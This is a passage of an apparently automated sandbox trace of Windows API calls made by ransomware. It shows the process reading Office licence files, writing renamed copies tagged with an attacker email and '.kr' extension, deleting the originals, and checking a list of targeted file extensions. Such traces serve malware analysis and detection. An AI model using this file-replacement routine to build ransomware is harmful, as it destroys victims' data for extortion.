lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.442] lstrlenW (lpString="O365HomePremR_Subscription3-pl.xrm-ms") returned 37 [0202.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0202.443] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11199) returned 1 [0202.443] CloseHandle (hObject=0x3e8) returned 1 [0202.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms")) returned 0x220 [0202.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0202.444] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.444] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0202.445] GetLastError () returned 0x0 [0202.445] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0202.448] WriteFile (in: hFile=0x560, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0202.449] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.449] WriteFile (in: hFile=0x560, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11e, lpOverlapped=0x0) returned 1 [0202.449] SetEndOfFile (hFile=0x560) returned 1 [0202.449] CloseHandle (hObject=0x560) returned 1 [0202.449] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.449] SetEndOfFile (hFile=0x3e8) returned 1 [0202.452] CloseHandle (hObject=0x3e8) returned 1 [0202.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms")) returned 1 [0202.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0202.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0202.453] lstrlenW (lpString=".doc") returned 4 [0202.453] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.453] lstrlenW (lpString=".docx") returned 5 [0202.453] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.453] lstrlenW (lpString=".pdf") returned 4 [0202.453] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.453] lstrlenW (lpString=".xls") returned 4 [0202.453] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.454] lstrlenW (lpString=".xlsx") returned 5 [0202.454] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.454] lstrlenW (lpString=".ppt") returned 4 [0202.454] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0202.454] lstrlenW (lpString=".zip") returned 4 [0202.454] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.454] lstrlenW (lpString=".rar") returned 4 [0202.454] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.454] lstrlenW (lpString=".bz2") returned 4 [0202.454] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.454] lstrlenW (lpString=".7z") returned 3 [0202.454] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0202.454] lstrlenW (lpString=".dbf") returned 4 [0202.454] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0202.454] lstrlenW (lpString=".1cd") returned 4 [0202.454] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0202.454] lstrlenW (lpString=".jpg") returned 4 [0202.454] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0202.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0202.454] lstrlenW (lpString=".doc") returned 4 [0202.454] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.454] lstrlenW (lpString=".docx") returned 5 [0202.454] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.454] lstrlenW (lpString=".pdf") returned 4 [0202.454] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.454] lstrlenW (lpString=".xls") returned 4 [0202.454] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.454] lstrlenW (lpString=".xlsx") returned 5 [0202.455] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.455] lstrlenW (lpString=".ppt") returned 4 [0202.455] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0202.455] lstrlenW (lpString=".zip") returned 4 [0202.455] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.455] lstrlenW (lpString=".rar") returned 4 [0202.455] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.455] lstrlenW (lpString=".bz2") returned 4 [0202.455] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.455] lstrlenW (lpString=".7z") returned 3 [0202.455] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0202.455] lstrlenW (lpString=".dbf") returned 4 [0202.455] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0202.455] lstrlenW (lpString=".1cd") returned 4 [0202.455] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0202.455] lstrlenW (lpString=".jpg") returned 4 [0202.455] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.455] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.455] lstrlenW (lpString="O365HomePremR_Subscription3-ppd.xrm-ms") returned 38 [0202.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0202.474] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=26541) returned 1 [0202.474] CloseHandle (hObject=0x3e8) returned 1 [0202.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms")) returned 0x220 [0202.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0202.474] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.474] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0202.475] GetLastError () returned 0x0 [0202.475] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x67ad, lpOverlapped=0x0) returned 1 [0202.478] WriteFile (in: hFile=0x560, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x67b0, lpOverlapped=0x0) returned 1 [0202.479] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.479] WriteFile (in: hFile=0x560, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x120, lpOverlapped=0x0) returned 1 [0202.479] SetEndOfFile (hFile=0x560) returned 1 [0202.479] CloseHandle (hObject=0x560) returned 1 [0202.479] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.479] SetEndOfFile (hFile=0x3e8) returned 1 [0202.483] CloseHandle (hObject=0x3e8) returned 1 [0202.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.483] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms")) returned 1 [0202.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0202.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0202.485] lstrlenW (lpString=".doc") returned 4 [0202.485] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.485] lstrlenW (lpString=".docx") returned 5 [0202.485] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.485] lstrlenW (lpString=".pdf") returned 4 [0202.485] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.485] lstrlenW (lpString=".xls") returned 4 [0202.485] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.485] lstrlenW (lpString=".xlsx") returned 5 [0202.485] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.485] lstrlenW (lpString=".ppt") returned 4 [0202.485] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0202.485] lstrlenW (lpString=".zip") returned 4 [0202.485] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.485] lstrlenW (lpString=".rar") returned 4 [0202.485] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.485] lstrlenW (lpString=".bz2") returned 4 [0202.485] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.485] lstrlenW (lpString=".7z") returned 3 [0202.485] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0202.485] lstrlenW (lpString=".dbf") returned 4 [0202.485] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0202.485] lstrlenW (lpString=".1cd") returned 4 [0202.485] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0202.486] lstrlenW (lpString=".jpg") returned 4 [0202.486] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0202.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0202.486] lstrlenW (lpString=".doc") returned 4 [0202.486] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.486] lstrlenW (lpString=".docx") returned 5 [0202.486] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.486] lstrlenW (lpString=".pdf") returned 4 [0202.486] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.486] lstrlenW (lpString=".xls") returned 4 [0202.486] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.486] lstrlenW (lpString=".xlsx") returned 5 [0202.486] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.486] lstrlenW (lpString=".ppt") returned 4 [0202.486] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0202.486] lstrlenW (lpString=".zip") returned 4 [0202.486] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.486] lstrlenW (lpString=".rar") returned 4 [0202.486] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.486] lstrlenW (lpString=".bz2") returned 4 [0202.486] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.486] lstrlenW (lpString=".7z") returned 3 [0202.486] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0202.486] lstrlenW (lpString=".dbf") returned 4 [0202.486] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0202.486] lstrlenW (lpString=".1cd") returned 4 [0202.486] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0202.487] lstrlenW (lpString=".jpg") returned 4 [0202.487] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.487] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.487] lstrlenW (lpString="O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 41 [0202.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0202.488] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11651) returned 1 [0202.488] CloseHandle (hObject=0x3e8) returned 1 [0202.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms")) returned 0x220 [0202.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0202.488] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.488] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0202.489] GetLastError () returned 0x0 [0202.489] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d83, lpOverlapped=0x0) returned 1 [0202.491] WriteFile (in: hFile=0x560, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d90, lpOverlapped=0x0) returned 1 [0202.492] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.492] WriteFile (in: hFile=0x560, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x126, lpOverlapped=0x0) returned 1 [0202.492] SetEndOfFile (hFile=0x560) returned 1 [0202.492] CloseHandle (hObject=0x560) returned 1 [0202.492] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.492] SetEndOfFile (hFile=0x3e8) returned 1 [0202.495] CloseHandle (hObject=0x3e8) returned 1 [0202.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms")) returned 1 [0202.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0202.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0202.496] lstrlenW (lpString=".doc") returned 4 [0202.496] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.496] lstrlenW (lpString=".docx") returned 5 [0202.496] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.496] lstrlenW (lpString=".pdf") returned 4 [0202.496] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.496] lstrlenW (lpString=".xls") returned 4 [0202.496] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.496] lstrlenW (lpString=".xlsx") returned 5 [0202.496] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.496] lstrlenW (lpString=".ppt") returned 4 [0202.496] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0202.496] lstrlenW (lpString=".zip") returned 4 [0202.496] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.496] lstrlenW (lpString=".rar") returned 4 [0202.496] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.496] lstrlenW (lpString=".bz2") returned 4 [0202.496] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.496] lstrlenW (lpString=".7z") returned 3 [0202.496] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0202.497] lstrlenW (lpString=".dbf") returned 4 [0202.497] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0202.497] lstrlenW (lpString=".1cd") returned 4 [0202.497] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0202.497] lstrlenW (lpString=".jpg") returned 4 [0202.497] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0202.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0202.497] lstrlenW (lpString=".doc") returned 4 [0202.497] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.497] lstrlenW (lpString=".docx") returned 5 [0202.497] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.497] lstrlenW (lpString=".pdf") returned 4 [0202.497] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.497] lstrlenW (lpString=".xls") returned 4 [0202.497] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.497] lstrlenW (lpString=".xlsx") returned 5 [0202.497] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.497] lstrlenW (lpString=".ppt") returned 4 [0202.497] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0202.497] lstrlenW (lpString=".zip") returned 4 [0202.497] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.497] lstrlenW (lpString=".rar") returned 4 [0202.497] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.497] lstrlenW (lpString=".bz2") returned 4 [0202.497] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.497] lstrlenW (lpString=".7z") returned 3 [0202.497] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.498] lstrlenW (lpString="C:\\Program Files\\Microsoft 